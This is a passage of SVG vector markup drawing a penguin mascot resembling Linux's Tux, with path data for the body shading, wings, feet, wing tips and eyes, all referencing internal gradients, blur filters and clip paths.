d="m 95.17,107.81 c -0.16,1.25 -0.36,2.5 -0.6,3.74 -0.12,0.61 -0.26,1.22 -0.48,1.8 -0.23,0.58 -0.56,1.14 -1.02,1.55 -0.41,0.37 -0.9,0.62 -1.4,0.85 -1.94,0.88 -4.01,1.47 -6.12,1.74 0.84,0.06 1.68,0.14 2.53,0.23 0.53,0.06 1.06,0.12 1.57,0.25 0.52,0.14 1.03,0.34 1.46,0.65 0.47,0.35 0.84,0.82 1.12,1.34 0.55,1.02 0.73,2.2 0.83,3.37 0.13,1.48 0.14,2.98 0.03,4.46 0.1,-0.99 0.31,-1.98 0.62,-2.92 0.57,-1.72 1.47,-3.32 2.69,-4.65 0.49,-0.52 1.02,-1.01 1.6,-1.42 1.79,-1.26 4.07,-1.81 6.24,-1.51 -2.21,0.09 -4.44,-0.6 -6.2,-1.93 -0.9,-0.68 -1.68,-1.52 -2.22,-2.5 -0.84,-1.52 -1.08,-3.37 -0.65,-5.05 z"/>
<path id="belly_shadow_lower" opacity="0.11" fill="#000000" filter="url(#blur_belly_shadow_lower)" clip-path="url(#clip_body)"
d="m 89.85,137.14 c -1.06,4.03 -1.79,8.15 -2.17,12.31 -0.55,5.87 -0.42,11.78 -0.74,17.67 -0.26,4.99 -0.85,10.04 0.02,14.97 0.41,2.35 1.15,4.64 2.2,6.78 0.16,-0.82 0.29,-1.64 0.36,-2.47 0.37,-4 -0.3,-8.01 -0.53,-12.01 -0.4,-7.02 0.57,-14.04 0.97,-21.06 0.3,-5.39 0.27,-10.8 -0.11,-16.19 z"/>
</g>
<g id="body_glare">
<path id="belly_glare" opacity="0.75" fill="#7c7c7c" filter="url(#blur_belly_glare)" clip-path="url(#clip_body)"
d="m 160.08,131.23 c 1.03,-0.16 7.34,5.21 6.48,7.21 -0.86,1.99 -2.49,0.79 -3.65,0.8 -1.16,0.02 -4.33,1.46 -4.86,0.55 -0.54,-0.91 1.4,-3.03 2.41,-4.81 0.82,-1.43 -1.4,-3.59 -0.38,-3.75 z"/>
<path id="head_glare" fill="#7c7c7c" filter="url(#blur_head_glare)" clip-path="url(#clip_body)"
d="m 121.52,11.12 c -2.21,1.56 -1.25,3.51 -0.3,5.46 0.95,1.96 -2.09,7.59 -2.12,7.83 -0.03,0.24 5.98,-2.85 7.62,-4.87 1.94,-2.37 6.83,3.22 6.56,2.37 0.01,-1.52 -9.55,-12.34 -11.76,-10.79 z"/>
<path id="neck_glare" fill="#838384" filter="url(#blur_neck_glare)" clip-path="url(#clip_body)"
d="m 138.27,76.63 c -1.86,1.7 0.88,4.25 2.17,7.24 0.81,1.86 3.04,4.49 5.2,4.07 1.63,-0.32 2.63,-2.66 2.48,-4.3 -0.3,-3.18 -2.98,-3.93 -4.93,-5.02 -1.54,-0.86 -3.61,-3.18 -4.92,-1.99 z"/>
</g>
</g>
<g id="wings">
<g id="wing_left">
<path id="wing_left_base" fill="#020204"
d="m 63.98,100.91 c -6.1,6.92 -12.37,13.63 -15.81,21.12 -1.71,3.8 -2.51,7.93 -3.68,11.93 -1.32,4.54 -3.12,8.94 -5.14,13.22 -1.87,3.95 -3.93,7.81 -5.98,11.66 -1.5,2.81 -3.02,5.67 -3.54,8.81 -0.41,2.48 -0.18,5.04 0.46,7.47 0.63,2.43 1.64,4.75 2.79,6.98 4.88,9.55 12.21,17.77 20.89,24.07 3.94,2.85 8.15,5.32 12.58,7.35 2.4,1.09 4.92,2.07 7.56,2.11 1.32,0.03 2.65,-0.19 3.86,-0.72 1.2,-0.53 2.28,-1.38 3,-2.49 0.88,-1.36 1.18,-3.05 1,-4.66 -0.18,-1.61 -0.81,-3.15 -1.65,-4.53 -2.06,-3.38 -5.31,-5.83 -8.44,-8.25 -6.76,-5.23 -13.29,-10.76 -19.55,-16.58 -1.76,-1.65 -3.53,-3.34 -4.76,-5.42 -1.2,-2.02 -1.85,-4.32 -2.29,-6.63 -1.21,-6.33 -0.9,-12.99 1.25,-19.07 0.85,-2.38 1.96,-4.65 3.04,-6.93 1.86,-3.95 3.62,-7.98 6.07,-11.6 3.05,-4.51 7.13,-8.33 9.61,-13.17 2.1,-4.09 2.95,-8.68 3.76,-13.2 0.64,-3.54 1.85,-7 2.47,-10.54 -1.21,2.3 -5.11,6.07 -7.5,9.07 z"/>
<path id="wing_left_glare" opacity="0.95" fill="#7c7c7c" filter="url(#blur_wing_left_glare)" clip-path="url(#clip_wing_left)"
d="m 56.96,126.1 c -2,1.84 -3.73,3.97 -5.13,6.31 -2.3,3.84 -3.65,8.16 -5.33,12.31 -1.24,3.09 -2.69,6.2 -2.86,9.53 -0.09,1.71 0.16,3.42 0.22,5.13 0.06,1.71 -0.1,3.49 -0.94,4.98 -0.7,1.25 -1.87,2.23 -3.22,2.71 1.83,0.61 3.45,1.79 4.6,3.33 0.96,1.3 1.58,2.81 2.41,4.18 0.68,1.12 1.51,2.16 2.54,2.97 1.02,0.82 2.25,1.4 3.54,1.56 1.79,0.23 3.65,-0.36 4.97,-1.58 -1.66,-15.55 -0.14,-31.42 4.44,-46.37 0.29,-0.94 0.59,-1.89 0.67,-2.87 0.07,-0.99 -0.12,-2.03 -0.72,-2.81 -0.31,-0.42 -0.74,-0.75 -1.23,-0.96 -0.48,-0.2 -1.02,-0.28 -1.54,-0.21 -0.52,0.06 -1.03,0.26 -1.45,0.57 -0.42,0.32 -0.76,0.74 -0.97,1.22 z"/>
</g>
<g id="wing_right">
<path id="wing_right_base" fill="#020204"
d="m 162.76,127.12 c 5.24,4.22 8.57,10.59 9.6,17.24 0.8,5.18 0.28,10.51 -0.89,15.62 -1.17,5.12 -2.97,10.06 -4.77,15 -0.71,1.96 -1.43,3.95 -1.71,6.02 -0.29,2.08 -0.11,4.27 0.89,6.11 1.15,2.11 3.29,3.56 5.59,4.24 2.27,0.68 4.72,0.66 7.02,0.09 2.3,-0.57 6.17,-1.31 8.04,-2.77 4.75,-3.69 5.88,-10.1 7.01,-15.72 1.17,-5.87 0.6,-12.02 -0.43,-17.95 -1.41,-8.09 -3.78,-15.99 -6.79,-23.62 -2.22,-5.62 -5.06,-10.98 -8.44,-15.96 -3.32,-4.89 -8.02,-8.7 -11.5,-13.48 -1.21,-1.66 -2.66,-3.38 -3.84,-5.06 -2.56,-3.62 -1.98,-2.94 -3.57,-5.29 -1.15,-1.7 -2.97,-2.28 -4.88,-3.02 -1.92,-0.74 -4.06,-0.96 -6.04,-0.41 -2.6,0.73 -4.73,2.79 -5.86,5.24 -1.13,2.46 -1.33,5.28 -0.89,7.95 0.57,3.44 2.14,6.64 3.92,9.64 2,3.39 4.32,6.66 7.35,9.18 3.16,2.63 6.98,4.37 10.19,6.95 z"/>
<path id="wing_right_glare" fill="#838384" filter="url(#blur_wing_right_glare)" clip-path="url(#clip_wing_right)"
d="m 150.42,118.99 c 0.42,0.4 0.86,0.81 1.31,1.19 3.22,2.63 4.93,5.58 8.2,8.16 5.34,4.22 10.75,11.5 11.8,18.15 0.82,5.19 -0.26,8.01 -1.58,14.12 -1.32,6.12 -5.06,14.78 -7.09,20.68 -0.8,2.35 1.64,1.38 1.32,3.86 -0.16,1.22 -0.18,2.45 -0.03,3.67 0.02,-0.23 0.03,-0.48 0.06,-0.71 0.39,-3.38 1.42,-6.63 2.55,-9.82 2.17,-6.13 4.66,-12.15 6.38,-18.45 1.72,-6.29 1.53,-10.82 0.63,-16.23 -1.13,-6.81 -5.09,-13.09 -10.69,-17.24 -3.97,-2.93 -8.64,-4.81 -12.86,-7.38 z"/>
</g>
</g>
<g id="feet">
<g id="foot_left">
<path id="foot_left_base" fill="url(#fill_foot_left_base)"
d="m 34.98,175.33 c 1.38,-0.57 2.93,-0.68 4.39,-0.41 1.47,0.27 2.86,0.91 4.09,1.74 2.47,1.68 4.3,4.12 6.05,6.54 4.03,5.54 7.9,11.2 11.42,17.08 2.85,4.78 5.46,9.71 8.76,14.18 2.15,2.93 4.57,5.64 6.73,8.55 2.16,2.92 4.07,6.08 5.03,9.58 1.25,4.55 0.76,9.56 -1.4,13.75 -1.52,2.95 -3.86,5.48 -6.7,7.19 -2.84,1.71 -5.83,2.47 -9.15,2.47 -5.27,0 -10.42,-2.83 -15.32,-4.78 -9.98,-3.98 -20.82,-5.22 -31.11,-8.32 -3.16,-0.95 -6.27,-2.08 -9.45,-2.95 -1.42,-0.39 -2.85,-0.73 -4.19,-1.34 -1.34,-0.6 -2.59,-1.51 -3.33,-2.77 -0.57,-0.98 -0.8,-2.13 -0.8,-3.26 0,-1.14 0.28,-2.26 0.67,-3.32 0.77,-2.13 2.02,-4.06 2.86,-6.17 1.37,-3.44 1.62,-7.23 1.43,-10.93 -0.18,-3.69 -0.78,-7.36 -1.03,-11.05 -0.12,-1.65 -0.16,-3.32 0.16,-4.95 0.31,-1.62 1.01,-3.21 2.2,-4.35 1.1,-1.06 2.55,-1.69 4.05,-2 1.49,-0.31 3.03,-0.32 4.55,-0.29 1.52,0.03 3.05,0.12 4.57,-0.01 1.52,-0.12 3.05,-0.46 4.37,-1.22 1.26,-0.72 2.29,-1.79 3.14,-2.96 0.85,-1.17 1.54,-2.45 2.25,-3.72 0.7,-1.26 1.43,-2.52 2.36,-3.64 0.92,-1.12 2.06,-2.09 3.4,-2.64 z"/>
<path id="foot_left_layer_1" fill="#d99a03" filter="url(#blur_foot_left_layer_1)" clip-path="url(#clip_foot_left)"
d="m 37.16,177.7 c 1.25,-0.5 2.67,-0.56 3.98,-0.26 1.32,0.3 2.55,0.94 3.61,1.77 2.14,1.65 3.62,3.97 5.05,6.26 3.42,5.54 6.76,11.15 9.92,16.86 2.4,4.31 4.68,8.7 7.62,12.65 1.95,2.62 4.18,5.03 6.17,7.62 1.99,2.59 3.76,5.41 4.64,8.56 1.14,4.05 0.68,8.54 -1.28,12.26 -1.42,2.68 -3.58,4.96 -6.2,6.48 -2.61,1.52 -5.67,2.28 -8.69,2.14 -4.82,-0.22 -9.23,-2.63 -13.77,-4.26 -8.71,-3.16 -18.14,-3.59 -27.08,-6.05 -3.2,-0.87 -6.32,-2.03 -9.53,-2.84 -1.43,-0.36 -2.88,-0.66 -4.23,-1.23 -1.35,-0.57 -2.62,-1.45 -3.36,-2.72 -0.54,-0.95 -0.76,-2.06 -0.73,-3.15 0.04,-1.09 0.31,-2.17 0.7,-3.19 0.78,-2.04 2,-3.88 2.78,-5.92 1.19,-3.08 1.34,-6.47 1.12,-9.76 -0.22,-3.29 -0.8,-6.56 -1,-9.85 -0.08,-1.48 -0.1,-2.97 0.2,-4.41 0.3,-1.45 0.93,-2.85 1.98,-3.89 1.14,-1.13 2.7,-1.74 4.29,-1.99 1.58,-0.24 3.19,-0.13 4.78,0.01 1.6,0.14 3.2,0.32 4.8,0.23 1.6,-0.1 3.22,-0.49 4.54,-1.39 1.2,-0.81 2.1,-2 2.79,-3.27 0.69,-1.27 1.18,-2.64 1.71,-3.98 0.52,-1.35 1.09,-2.69 1.91,-3.89 0.82,-1.19 1.93,-2.24 3.28,-2.79 z"/>
<path id="foot_left_layer_2" fill="#f5bd0c" filter="url(#blur_foot_left_layer_2)" clip-path="url(#clip_foot_left)"
d="m 35.99,174.57 c 1.22,-0.6 2.65,-0.72 3.98,-0.45 1.33,0.27 2.57,0.92 3.62,1.77 2.09,1.7 3.43,4.13 4.67,6.51 2.84,5.46 5.5,11.04 8.9,16.19 2.48,3.73 5.33,7.2 7.83,10.92 3.39,5.03 6.15,10.57 7.29,16.5 0.76,4 0.74,8.31 -1.18,11.9 -1.27,2.37 -3.32,4.31 -5.75,5.52 -2.42,1.22 -5.21,1.71 -7.92,1.47 -4.27,-0.37 -8.14,-2.47 -12.16,-3.94 -7.13,-2.59 -14.84,-3.22 -22.18,-5.18 -3.09,-0.82 -6.13,-1.89 -9.26,-2.54 -1.39,-0.29 -2.8,-0.5 -4.12,-1 -1.32,-0.5 -2.57,-1.33 -3.25,-2.55 -0.47,-0.86 -0.63,-1.86 -0.56,-2.84 0.07,-0.97 0.36,-1.92 0.74,-2.83 0.77,-1.8 1.9,-3.46 2.49,-5.32 0.88,-2.75 0.52,-5.72 -0.14,-8.53 -0.65,-2.8 -1.6,-5.55 -1.89,-8.41 -0.13,-1.27 -0.13,-2.57 0.17,-3.82 0.29,-1.25 0.88,-2.45 1.81,-3.34 1.2,-1.15 2.88,-1.73 4.56,-1.89 1.67,-0.16 3.35,0.06 5.01,0.3 1.66,0.24 3.34,0.5 5.01,0.42 1.68,-0.07 3.39,-0.51 4.7,-1.54 1.3,-1.02 2.12,-2.53 2.59,-4.09 0.47,-1.57 0.62,-3.2 0.81,-4.82 0.19,-1.62 0.43,-3.26 1.06,-4.77 0.63,-1.51 1.69,-2.9 3.17,-3.64 z"/>
<path id="foot_left_glare" fill="url(#fill_foot_left_glare)" filter="url(#blur_foot_left_glare)" clip-path="url(#clip_foot_left)"
d="m 51.2,188.21 c 2.25,4.06 3.62,8.72 5.85,12.82 2.05,3.77 4.38,7.65 6.46,11.12 0.93,1.55 3.09,3.93 5.27,7.62 1.98,3.34 3.98,8.01 5.1,9.58 -0.64,-1.84 -1.96,-6.77 -3.54,-10.28 -1.47,-3.28 -3.19,-5.15 -4.24,-6.92 -2.08,-3.47 -4.33,-6.6 -6.47,-9.91 -2.95,-4.57 -5.2,-9.68 -8.43,-14.03 z"/>
</g>
<g id="foot_right">
<path id="foot_right_shadow" opacity="0.2" fill="url(#fill_foot_right_shadow)" filter="url(#blur_foot_right_shadow)" clip-path="url(#clip_body)"
d="m 198.7,215.61 c -0.4,1.33 -1.02,2.62 -1.81,3.8 -1.75,2.59 -4.3,4.55 -6.84,6.35 -4.33,3.07 -8.85,5.89 -12.89,9.38 -2.7,2.34 -5.17,4.97 -7.45,7.73 -1.95,2.36 -3.79,4.84 -6.02,6.94 -2.25,2.12 -4.89,3.84 -7.74,4.77 -3.47,1.13 -7.13,1.08 -10.47,0.22 -2.34,-0.6 -4.63,-1.64 -6.08,-3.53 -1.45,-1.89 -1.92,-4.44 -2.09,-6.94 -0.3,-4.42 0.23,-8.93 0.71,-13.42 0.4,-3.73 0.77,-7.46 0.92,-11.18 0.27,-6.77 -0.18,-13.47 -1.09,-20.05 -0.16,-1.11 -0.32,-2.22 -0.23,-3.35 0.09,-1.14 0.47,-2.32 1.27,-3.2 0.74,-0.81 1.77,-1.29 2.79,-1.52 1.02,-0.24 2.06,-0.25 3.09,-0.28 2.43,-0.06 4.86,-0.21 7.25,0.01 1.51,0.13 2.99,0.41 4.49,0.55 2.51,0.24 5.12,0.12 7.64,-0.62 2.71,-0.8 5.29,-2.29 8.05,-2.7 1.13,-0.17 2.26,-0.15 3.36,0.01 1.12,0.15 2.24,0.46 3.1,1.15 0.66,0.52 1.14,1.23 1.51,1.99 0.56,1.14 0.9,2.39 1.1,3.68 0.17,1.14 0.24,2.31 0.53,3.41 0.48,1.81 1.58,3.35 2.89,4.6 1.32,1.25 2.85,2.24 4.39,3.22 1.53,0.97 3.07,1.93 4.7,2.73 0.77,0.38 1.56,0.72 2.29,1.15 0.74,0.44 1.42,0.97 1.91,1.67 0.66,0.95 0.92,2.2 0.72,3.43 z"/>
<path id="foot_right_base" fill="url(#fill_foot_right_base)"
d="m 213.47,222.92 c -2.26,2.68 -5.4,4.45 -8.53,6.05 -5.33,2.71 -10.86,5.1 -15.87,8.37 -3.36,2.19 -6.46,4.76 -9.36,7.53 -2.48,2.37 -4.83,4.9 -7.61,6.91 -2.81,2.03 -6.05,3.5 -9.48,4.01 -0.95,0.14 -1.9,0.21 -2.86,0.21 -3.24,0 -6.48,-0.78 -9.46,-2.08 -2.7,-1.17 -5.3,-2.86 -6.86,-5.36 -1.56,-2.52 -1.92,-5.59 -1.92,-8.56 -0.01,-5.23 0.96,-10.41 1.87,-15.57 0.76,-4.29 1.48,-8.58 1.95,-12.91 0.85,-7.86 0.84,-15.81 0.28,-23.71 -0.1,-1.32 -0.21,-2.65 -0.01,-3.96 0.2,-1.31 0.74,-2.62 1.74,-3.48 0.93,-0.8 2.17,-1.16 3.4,-1.22 1.22,-0.07 2.44,0.12 3.65,0.3 2.85,0.42 5.73,0.74 8.52,1.48 1.76,0.46 3.48,1.08 5.23,1.56 2.94,0.79 6.01,1.17 9.02,0.82 3.25,-0.38 6.41,-1.6 9.68,-1.52 1.34,0.03 2.67,0.28 3.95,0.69 1.3,0.41 2.59,1 3.55,1.98 0.73,0.74 1.24,1.67 1.62,2.64 0.57,1.44 0.88,2.98 1.01,4.52 0.11,1.37 0.09,2.76 0.35,4.11 0.43,2.21 1.6,4.24 3.04,5.97 1.45,1.74 3.18,3.21 4.91,4.66 1.73,1.45 3.46,2.89 5.32,4.16 0.87,0.6 1.77,1.16 2.6,1.81 0.83,0.66 1.59,1.42 2.11,2.34 0.45,0.81 0.69,1.72 0.69,2.65 0,0.52 -0.07,1.04 -0.23,1.56 -0.45,1.43 -1.28,2.82 -2.3,4.04 z"/>
<path id="foot_right_layer_1" fill="#cd8907" filter="url(#blur_foot_right_layer_1)" clip-path="url(#clip_foot_right)"
d="m 213.21,216.12 c -0.53,1.33 -1.28,2.58 -2.22,3.67 -2.07,2.42 -4.93,4.01 -7.78,5.44 -4.88,2.44 -9.92,4.58 -14.5,7.52 -3.06,1.97 -5.9,4.28 -8.55,6.78 -2.26,2.13 -4.41,4.41 -6.95,6.21 -2.57,1.83 -5.53,3.14 -8.65,3.6 -3.8,0.56 -7.72,-0.16 -11.25,-1.67 -2.46,-1.06 -4.84,-2.56 -6.27,-4.83 -1.42,-2.26 -1.75,-5.02 -1.75,-7.69 -0.02,-4.71 0.87,-9.37 1.71,-14 0.7,-3.85 1.36,-7.71 1.78,-11.6 0.76,-7.08 0.73,-14.22 0.25,-21.32 -0.08,-1.19 -0.17,-2.39 0.01,-3.57 0.18,-1.18 0.67,-2.35 1.57,-3.13 0.85,-0.73 1.99,-1.05 3.11,-1.1 1.11,-0.06 2.22,0.12 3.33,0.28 2.61,0.38 5.23,0.67 7.78,1.33 1.61,0.42 3.18,0.98 4.78,1.4 2.68,0.72 5.49,1.06 8.24,0.74 2.97,-0.34 5.85,-1.44 8.83,-1.37 1.23,0.03 2.44,0.26 3.61,0.62 1.19,0.37 2.37,0.9 3.25,1.78 0.66,0.67 1.11,1.51 1.48,2.38 0.53,1.29 0.89,2.67 0.91,4.07 0.03,1.46 -0.28,2.92 -0.09,4.37 0.16,1.17 0.66,2.28 1.3,3.28 0.63,1 1.4,1.91 2.17,2.81 1.48,1.75 2.96,3.53 4.82,4.87 2.11,1.53 4.62,2.43 6.8,3.85 0.65,0.43 1.28,0.91 1.74,1.54 0.78,1.06 0.98,2.5 0.54,3.74 z"/>
<path id="foot_right_layer_2" fill="#f5c021" filter="url(#blur_foot_right_layer_2)" clip-path="url(#clip_foot_right)"
d="m 212.91,214.61 c -0.6,1.35 -1.37,2.6 -2.28,3.71 -2.12,2.58 -4.99,4.35 -8,5.49 -4.97,1.88 -10.39,2.13 -15.26,4.27 -2.97,1.3 -5.65,3.26 -8.36,5.12 -2.18,1.49 -4.42,2.94 -6.82,3.98 -2.72,1.19 -5.6,1.85 -8.5,2.32 -1.84,0.29 -3.71,0.51 -5.57,0.41 -1.86,-0.1 -3.72,-0.54 -5.37,-1.49 -1.24,-0.72 -2.36,-1.75 -3.03,-3.1 -0.73,-1.49 -0.86,-3.24 -0.85,-4.94 0.05,-4.5 1.02,-8.96 0.99,-13.47 -0.03,-3.93 -0.81,-7.8 -1.03,-11.72 -0.43,-7.54 1.19,-15.2 -0.24,-22.59 -0.22,-1.19 -0.53,-2.37 -0.52,-3.58 0.01,-0.6 0.1,-1.21 0.31,-1.77 0.22,-0.55 0.56,-1.06 1.01,-1.42 0.39,-0.29 0.84,-0.47 1.31,-0.56 0.46,-0.08 0.94,-0.06 1.41,0.01 0.93,0.15 1.82,0.51 2.73,0.78 2.6,0.78 5.35,0.76 8,1.35 1.66,0.36 3.26,0.97 4.91,1.41 2.75,0.76 5.63,1.08 8.46,0.75 3.04,-0.36 6.01,-1.46 9.07,-1.38 1.26,0.03 2.5,0.26 3.71,0.62 1.21,0.36 2.42,0.87 3.34,1.8 0.65,0.67 1.13,1.52 1.51,2.4 0.57,1.29 0.96,2.69 0.95,4.11 -0.01,0.74 -0.12,1.47 -0.19,2.21 -0.06,0.74 -0.08,1.49 0.09,2.2 0.18,0.72 0.55,1.37 0.97,1.96 0.42,0.59 0.9,1.12 1.34,1.7 1.22,1.61 2.1,3.49 3.05,5.3 0.95,1.81 2.02,3.6 3.53,4.91 2.05,1.77 4.7,2.48 6.99,3.89 0.67,0.41 1.31,0.89 1.78,1.55 0.38,0.52 0.63,1.15 0.73,1.81 0.09,0.65 0.03,1.34 -0.17,1.96 z"/>
<path id="foot_right_glare" fill="url(#fill_foot_right_glare)" filter="url(#blur_foot_right_glare)" clip-path="url(#clip_foot_right)"
d="m 148.08,181.58 c 2.82,-0.76 5.22,1.38 7.27,2.99 1.32,1.13 3.24,0.85 4.86,0.9 2.69,-0.09 5.36,0.45 8.05,0.12 5.3,-0.45 10.49,-1.75 15.81,-1.97 2.54,-0.16 5.4,-0.31 7.59,1.17 0.89,0.62 2.2,3.23 3.07,2.25 -0.36,-2.74 -2.39,-5.39 -5.11,-6.12 -2.14,-0.34 -4.3,0.25 -6.46,0.06 -6.39,-0.15 -12.75,-1.34 -19.16,-1 -4.46,0.04 -8.91,-0.17 -13.37,-0.34 -1.75,-0.36 -2.37,1.19 -3.32,1.79 0.25,0.19 0.34,0.25 0.77,0.15 z"/>
</g>
</g>
<g id="wing_tip_right">
<g id="wing_tip_right_shadow">
<path id="wing_tip_right_shadow_lower" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_lower)" filter="url(#blur_wing_tip_right_shadow_lower)" clip-path="url(#clip_foot_right)"
d="m 185.49,187.61 c -0.48,-0.95 -1.36,-1.66 -2.35,-2.07 -0.98,-0.41 -2.06,-0.55 -3.13,-0.54 -2.13,0.02 -4.25,0.57 -6.38,0.39 -1.79,-0.16 -3.49,-0.83 -5.24,-1.26 -1.81,-0.44 -3.73,-0.61 -5.52,-0.12 -1.92,0.52 -3.61,1.81 -4.67,3.49 -0.94,1.48 -1.38,3.23 -1.52,4.98 -0.14,1.75 0.01,3.5 0.19,5.25 0.12,1.26 0.27,2.52 0.57,3.75 0.31,1.23 0.78,2.43 1.52,3.46 1.07,1.48 2.66,2.54 4.37,3.17 2.8,1.03 5.98,0.98 8.73,-0.15 4.88,-2.12 9.01,-5.92 11.52,-10.6 0.91,-1.68 1.61,-3.47 2.06,-5.31 0.18,-0.74 0.32,-1.49 0.32,-2.25 0.01,-0.75 -0.12,-1.52 -0.47,-2.19 z"/>
<path id="wing_tip_right_shadow_upper" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_upper)" filter="url(#blur_wing_tip_right_shadow_upper)" clip-path="url(#clip_foot_right)"
d="m 185.49,184.89 c -0.48,-0.69 -1.36,-1.2 -2.35,-1.5 -0.98,-0.3 -2.06,-0.39 -3.13,-0.39 -2.13,0.02 -4.25,0.42 -6.38,0.28 -1.79,-0.11 -3.49,-0.6 -5.24,-0.9 -1.81,-0.32 -3.73,-0.45 -5.52,-0.09 -1.92,0.37 -3.61,1.3 -4.67,2.52 -0.94,1.07 -1.38,2.34 -1.52,3.6 -0.14,1.26 0.01,2.53 0.19,3.79 0.12,0.91 0.27,1.83 0.57,2.72 0.31,0.89 0.78,1.76 1.52,2.5 1.07,1.07 2.66,1.83 4.37,2.29 2.8,0.75 5.98,0.71 8.73,-0.11 4.88,-1.53 9.01,-4.28 11.52,-7.66 0.91,-1.22 1.61,-2.51 2.06,-3.84 0.18,-0.54 0.32,-1.08 0.32,-1.62 0.01,-0.55 -0.12,-1.11 -0.47,-1.59 z"/>
</g>
<path id="wing_tip_right_base" fill="#020204"
d="m 189.55,178.72 c -0.35,-0.95 -0.97,-1.79 -1.72,-2.47 -0.75,-0.68 -1.64,-1.2 -2.57,-1.6 -1.86,-0.79 -3.89,-1.09 -5.89,-1.46 -1.87,-0.35 -3.74,-0.78 -5.62,-1.1 -1.96,-0.33 -3.98,-0.55 -5.92,-0.11 -1.69,0.38 -3.26,1.26 -4.54,2.43 -1.28,1.17 -2.28,2.63 -3,4.21 -1.27,2.79 -1.67,5.92 -1.43,8.97 0.18,2.27 0.76,4.61 2.25,6.32 1.21,1.39 2.92,2.26 4.68,2.78 3.04,0.9 6.35,0.85 9.36,-0.13 4.97,-1.67 9.37,-4.98 12.35,-9.29 0.98,-1.43 1.82,-2.98 2.2,-4.66 0.29,-1.28 0.3,-2.66 -0.15,-3.89 z"/>
<g id="wing_tip_right_glare">
<defs>
<path id="path_wing_tip_right_glare"
d="m 168.89,171.07 c -0.47,0.03 -0.93,0.08 -1.4,0.17 -2.99,0.53 -5.73,2.42 -7.27,5.03 -1.09,1.85 -1.58,4.03 -1.43,6.17 0.07,-1.5 0.46,-2.97 1.19,-4.28 1.23,-2.23 3.47,-3.91 5.98,-4.37 1.54,-0.28 3.13,-0.11 4.68,0.08 1.5,0.19 3,0.39 4.47,0.7 2.28,0.5 4.53,1.26 6.44,2.59 0.44,0.31 0.86,0.66 1.21,1.08 0.35,0.41 0.62,0.89 0.73,1.42 0.15,0.78 -0.07,1.6 -0.46,2.29 -0.39,0.7 -0.92,1.3 -1.48,1.86 -0.46,0.46 -0.94,0.89 -1.43,1.32 2.21,-0.43 4.44,-1.03 6.28,-2.31 0.77,-0.55 1.48,-1.2 1.94,-2.02 0.46,-0.83 0.65,-1.83 0.43,-2.75 -0.16,-0.62 -0.5,-1.19 -0.92,-1.67 -0.42,-0.48 -0.93,-0.87 -1.45,-1.24 -2.31,-1.62 -5.01,-2.65 -7.81,-2.99 -1.8,-0.33 -3.61,-0.61 -5.42,-0.83 -1.41,-0.18 -2.86,-0.33 -4.28,-0.25 z"/>
</defs>
<use id="wing_tip_right_glare_1" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
fill="url(#fill_wing_tip_right_glare_1)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
<use id="wing_tip_right_glare_2" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
fill="url(#fill_wing_tip_right_glare_2)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
</g>
</g>
<g id="face">
<g id="eyes">
<g id="eye_left">
<path id="eyeball_left" fill="url(#fill_eyeball_left)"
d="m 84.45,38.28 c -1.53,0.08 -3,0.79 -4.12,1.84 -1.13,1.05 -1.92,2.43 -2.41,3.88 -0.97,2.92 -0.75,6.08 -0.53,9.15 0.2,2.77 0.41,5.6 1.45,8.18 0.52,1.3 1.25,2.51 2.22,3.51 0.97,0.99 2.2,1.76 3.55,2.09 1.26,0.32 2.62,0.26 3.86,-0.13 1.25,-0.4 2.38,-1.11 3.32,-2.02 1.36,-1.33 2.27,-3.07 2.8,-4.9 0.53,-1.83 0.68,-3.75 0.65,-5.66 -0.04,-2.38 -0.35,-4.77 -1.09,-7.03 -0.75,-2.26 -1.94,-4.4 -3.6,-6.11 -0.8,-0.83 -1.72,-1.55 -2.75,-2.06 -1.04,-0.51 -2.2,-0.8 -3.35,-0.74 z"/>
<g id="pupil_left">
<path id="pupil_left_base" fill="#020204"
d="m 80.75,50.99 c -0.32,1.94 -0.33,3.97 0.33,5.81 0.44,1.22 1.17,2.33 2.05,3.28 0.57,0.62 1.23,1.18 1.99,1.55 0.77,0.37 1.65,0.52 2.48,0.32 0.76,-0.19 1.42,-0.68 1.91,-1.29 0.49,-0.61 0.82,-1.34 1.05,-2.09 0.69,-2.21 0.58,-4.62 -0.11,-6.83 -0.49,-1.61 -1.32,-3.16 -2.6,-4.24 -0.62,-0.52 -1.34,-0.93 -2.12,-1.11 -0.78,-0.19 -1.63,-0.14 -2.36,0.19 -0.81,0.37 -1.44,1.07 -1.85,1.86 -0.41,0.79 -0.62,1.67 -0.77,2.55 z"/>
<path id="pupil_left_glare" fill="url(#fill_pupil_left_glare)" filter="url(#blur_pupil_left_glare)" clip-path="url(#clip_pupil_left)"
d="m 84.84,49.59 c 0.21,0.55 0.91,0.75 1.3,1.19 0.37,0.42 0.76,0.87 0.97,1.4 0.39,1.01 -0.39,2.51 0.43,3.23 0.25,0.22 0.77,0.23 1.02,0 0.99,-0.9 0.77,-2.71 0.38,-3.99 -0.36,-1.15 -1.23,-2.25 -2.31,-2.8 -0.5,-0.26 -1.25,-0.47 -1.68,-0.11 -0.27,0.24 -0.24,0.74 -0.11,1.08 z"/>
</g>
<path id="eyelid_left" fill="url(#fill_eyelid_left)" clip-path="url(#clip_eye_left)"
d="m 81.14,44.46 c 2.32,-1.38 5.13,-1.7 7.82,-1.45 2.68,0.26 5.27,1.04 7.87,1.75 1.91,0.52 3.84,1 5.63,1.84 1.78,0.84 3.44,2.08 4.43,3.8 0.16,0.27 0.29,0.56 0.46,0.83 0.17,0.27 0.37,0.52 0.62,0.71 0.25,0.19 0.57,0.32 0.88,0.3 0.16,-0.01 0.32,-0.05 0.45,-0.13 0.14,-0.08 0.26,-0.2 0.33,-0.34 0.08,-0.16 0.11,-0.35 0.1,-0.53 -0.01,-0.18 -0.05,-0.36 -0.1,-0.54 -0.65,-2.37 -2.19,-4.38 -3.35,-6.55 -0.7,-1.3 -1.28,-2.66 -1.98,-3.96 -2.43,-4.45 -6.42,-7.94 -10.95,-10.21 -4.53,-2.27 -9.59,-3.36 -14.65,-3.65 -5.86,-0.35 -11.73,0.35 -17.51,1.37 -2.51,0.44 -5.06,0.96 -7.27,2.21 -1.11,0.62 -2.13,1.42 -2.92,2.42 -0.8,0.99 -1.36,2.18 -1.55,3.44 -0.17,1.22 0.01,2.47 